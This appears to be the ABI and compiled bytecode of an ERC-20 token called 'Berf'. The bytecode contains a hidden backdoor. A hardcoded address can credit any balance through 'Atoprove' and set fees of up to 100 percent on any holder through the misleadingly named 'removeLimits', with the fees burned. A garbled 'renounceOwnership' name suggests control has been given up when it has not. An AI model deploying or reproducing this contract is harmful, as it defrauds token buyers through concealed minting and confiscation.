[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" }, { "internalType": "uint256", "name": "feePercents", "type": "uint256" } ], "name": "Atoprove", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "tax", "type": "uint256" } ], "name": "removeLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnershiptbstionsoot", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b50600062000024620001d860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d291906200037a565b66017e9d8602b400620000e69190620003cb565b60016000620000fa620001d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000148620001d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a791906200037a565b66017e9d8602b400620001bb9190620003cb565b604051620001ca919062000427565b60405180910390a362000444565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026e57808604811115620002465762000245620001e0565b5b6001851615620002565780820291505b808102905062000266856200020f565b945062000226565b94509492505050565b6000826200028957600190506200035c565b816200029957600090506200035c565b8160018114620002b25760028114620002bd57620002f3565b60019150506200035c565b60ff841115620002d257620002d1620001e0565b5b8360020a915084821115620002ec57620002eb620001e0565b5b506200035c565b5060208310610133831016604e8410600b84101617156200032d5782820a905083811115620003275762000326620001e0565b5b6200035c565b6200033c84848460016200021c565b92509050818404811115620003565762000355620001e0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003878262000363565b915062000394836200036d565b9250620003c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000277565b905092915050565b6000620003d88262000363565b9150620003e58362000363565b9250828202620003f58162000363565b915082820484148315176200040f576200040e620001e0565b5b5092915050565b620004218162000363565b82525050565b60006020820190506200043e600083018462000416565b92915050565b6117a080620004546000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806358f53e0e1161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b806358f53e0e146101aa57806370a08231146101b457806376ff07ca146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780634db23e3e1461018e575b600080fd5b6100dc61029c565b6040516100e99190610fa9565b60405180910390f35b61010c60048036038101906101079190611064565b6102d9565b60405161011991906110bf565b60405180910390f35b61012a6103d9565b60405161013791906110e9565b60405180910390f35b61015a60048036038101906101559190611104565b610400565b60405161016791906110bf565b60405180910390f35b6101786107aa565b6040516101859190611173565b60405180910390f35b6101a860048036038101906101a39190611064565b6107b3565b005b6101b261085a565b005b6101ce60048036038101906101c9919061118e565b610994565b6040516101db91906110e9565b60405180910390f35b6101fe60048036038101906101f99190611064565b6109dd565b005b610208610a4b565b60405161021591906111ca565b60405180910390f35b610226610a74565b6040516102339190610fa9565b60405180910390f35b61025660048036038101906102519190611064565b610ab1565b60405161026391906110bf565b60405180910390f35b610286600480360381019061028191906111e5565b610d9f565b60405161029391906110e9565b60405180910390f35b60606040518060400160405280600481526020017f4265726600000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102e8610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610382610e26565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103c791906110e9565b60405180910390a36001905092915050565b60006009600a6103e99190611387565b66017e9d8602b4006103fb91906113d2565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061044c610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bf90611486565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461051791906113d2565b61052191906114d5565b9050600081846105319190611506565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105829190611506565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105d8919061153a565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610629610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106729190611506565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ca919061153a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161072e91906110e9565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079591906110e9565b60405180910390a36001925050509392505050565b60006009905090565b600081905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610807919061153a565b92505081905550610816610e2e565b610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c906115e0565b60405180910390fd5b505050565b610862610e26565b73ffffffffffffffffffffffffffffffffffffffff16610880610a4b565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd9061164c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109e5610e7f565b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b906115e0565b60405180910390fd5b6000606490506000818311159050610a3b81610e8e565b610a458484610ed1565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4265726600000000000000000000000000000000000000000000000000000000815250905090565b60008160016000610ac0610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906116de565b60405180910390fd5b6000606460036000610b4c610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b9291906113d2565b610b9c91906114d5565b905060008184610bac9190611506565b90508360016000610bbb610e26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c049190611506565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5a919061153a565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cb2919061153a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610cd8610e26565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d1d91906110e9565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610d46610e26565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d8b91906110e9565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000730375792a7a279ceb1ece056c1ec3f2a8c5b65c3f73ffffffffffffffffffffffffffffffffffffffff16610e63610e26565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000610e89610e2e565b905090565b80610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec59061174a565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f53578082015181840152602081019050610f38565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f7b82610f19565b610f858185610f24565b9350610f95818560208601610f35565b610f9e81610f5f565b840191505092915050565b60006020820190508181036000830152610fc38184610f70565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610ffb82610fd0565b9050919050565b61100b81610ff0565b811461101657600080fd5b50565b60008135905061102881611002565b92915050565b6000819050919050565b6110418161102e565b811461104c57600080fd5b50565b60008135905061105e81611038565b92915050565b6000806040838503121561107b5761107a610fcb565b5b600061108985828601611019565b925050602061109a8582860161104f565b9150509250929050565b60008115159050919050565b6110b9816110a4565b82525050565b60006020820190506110d460008301846110b0565b92915050565b6110e38161102e565b82525050565b60006020820190506110fe60008301846110da565b92915050565b60008060006060848603121561111d5761111c610fcb565b5b600061112b86828701611019565b935050602061113c86828701611019565b925050604061114d8682870161104f565b9150509250925092565b600060ff82169050919050565b61116d81611157565b82525050565b60006020820190506111886000830184611164565b92915050565b6000602082840312156111a4576111a3610fcb565b5b60006111b284828501611019565b91505092915050565b6111c481610ff0565b82525050565b60006020820190506111df60008301846111bb565b92915050565b600080604083850312156111fc576111fb610fcb565b5b600061120a85828601611019565b925050602061121b85828601611019565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156112ab5780860481111561128757611286611225565b5b60018516156112965780820291505b80810290506112a485611254565b945061126b565b94509492505050565b6000826112c45760019050611380565b816112d25760009050611380565b81600181146112e857600281146112f257611321565b6001915050611380565b60ff84111561130457611303611225565b5b8360020a91508482111561131b5761131a611225565b5b50611380565b5060208310610133831016604e8410600b84101617156113565782820a90508381111561135157611350611225565b5b611380565b6113638484846001611261565b9250905081840481111561137a57611379611225565b5b81810290505b9392505050565b60006113928261102e565b915061139d83611157565b92506113ca7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112b4565b905092915050565b60006113dd8261102e565b91506113e88361102e565b92508282026113f68161102e565b9150828204841483151761140d5761140c611225565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611470602583610f24565b915061147b82611414565b604082019050919050565b6000602082019050818103600083015261149f81611463565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006114e08261102e565b91506114eb8361102e565b9250826114fb576114fa6114a6565b5b828204905092915050565b60006115118261102e565b915061151c8361102e565b925082820390508181111561153457611533611225565b5b92915050565b60006115458261102e565b91506115508361102e565b925082820190508082111561156857611567611225565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006115ca602183610f24565b91506115d58261156e565b604082019050919050565b600060208201905081810360008301526115f9816115bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611636602083610f24565b915061164182611600565b602082019050919050565b6000602082019050818103600083015261166581611629565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006116c8602383610f24565b91506116d38261166c565b604082019050919050565b600060208201905081810360008301526116f7816116bb565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611734601383610f24565b915061173f826116fe565b602082019050919050565b6000602082019050818103600083015261176381611727565b905091905056fea2646970667358221220ff78905de21e166a8cdf27dd43dec80894b3b3f3452f49d47a095ca8381fa09b64736f6c63430008120033